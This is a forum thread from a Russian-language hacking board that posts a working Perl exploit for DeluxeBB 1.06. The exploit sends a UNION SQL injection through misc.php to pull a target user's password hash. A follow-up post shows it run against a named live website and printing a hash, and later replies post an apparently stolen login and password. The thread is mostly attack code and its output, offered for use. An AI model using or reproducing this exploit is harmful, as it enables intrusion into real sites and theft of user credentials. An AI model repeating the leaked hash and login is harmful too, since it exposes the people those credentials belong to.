• XSS.stack #1 – первый литературный журнал от юзеров форума

Web DeluxeBB 1.06 Remote SQL Injection Exploit

Ŧ1LAN

CPU register
Пользователь
Регистрация
19.12.2005
Сообщения
1 057
Решения
1
Реакции
6
DeluxeBB 1.06 Remote SQL Injection Exploit
Код:
#!/usr/bin/perl 

use IO::Socket; 


print q{ 
############################################# 
# DeluxeBB 1.06 Remote SQL Injection Exploit# 
#    exploit discovered and coded        # 
#      by KingOfSka                     # 
#   http://contropotere.netsons.org       # 
############################################# 
}; 

if (!$ARGV[2]) { 

print q{ 
   Usage: perl dbbxpl.pl host /directory/ victim_userid 
  
       perl dbbxpl.pl www.somesite.com /forum/ 1 


}; 

} 


$server = $ARGV[0]; 
$dir    = $ARGV[1]; 
$user   = $ARGV[2]; 
$myuser = $ARGV[3]; 
$mypass = $ARGV[4]; 
$myid   = $ARGV[5]; 

print "------------------------------------------------------------------------------------------------\r\n"; 
print "[>] SERVER: $server\r\n"; 
print "[>]    DIR: $dir\r\n"; 
print "[>] USERID: $user\r\n"; 
print "------------------------------------------------------------------------------------------------\r\n\r\n"; 

$server =~ s/(http:\/\/)//eg; 

$path  = $dir; 
$path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_users%20WHERE%20(uid='".$user; 

  
print "[~] PREPARE TO CONNECT...\r\n"; 

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED"; 

print "[+] CONNECTED\r\n"; 
print "[~] SENDING QUERY...\r\n"; 
print $socket "GET $path HTTP/1.1\r\n"; 
print $socket "Host: $server\r\n"; 
print $socket "Accept: */*\r\n"; 
print $socket "Connection: close\r\n\r\n"; 
print "[+] DONE!\r\n\r\n"; 



print "--[ REPORT ]------------------------------------------------------------------------------------\r\n"; 
while ($answer = <$socket>) 
{ 

 if ($answer =~/(\w{32})/) 
{ 

  if ($1 ne 0) { 
   print "Password Hash is: ".$1."\r\n"; 
print "--------------------------------------------------------------------------------------\r\n"; 

      } 
exit(); 
} 

} 
print "------------------------------------------------------------------------------------------------\r\n";

Добавлено в [time]1147781031[/time]
Код:
madabus:/home# perl deluxe.pl webmaster-lexikon.de /board/ 1 

----------------------------------------------------------------------------------------------- 
[>] SERVER: webmaster-lexikon.de 
[>] DIR: /board/ 
[>] USERID: 1 
------------------------------------------------------------------------------------------------ 

[~] PREPARE TO CONNECT... 
[+] CONNECTED 
[~] SENDING QUERY... 
[+] DONE! 
--[ REPORT ]------------------------------------------------------------------------------------ 
Password Hash is: bd32f9ec2333be52a972ef1025d2e4c5 
--------------------------------------------------------------------------------------
пашет

login: metaman
password: asq113
 
читать умеешь?
пашет

login: metaman
password: asq113
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх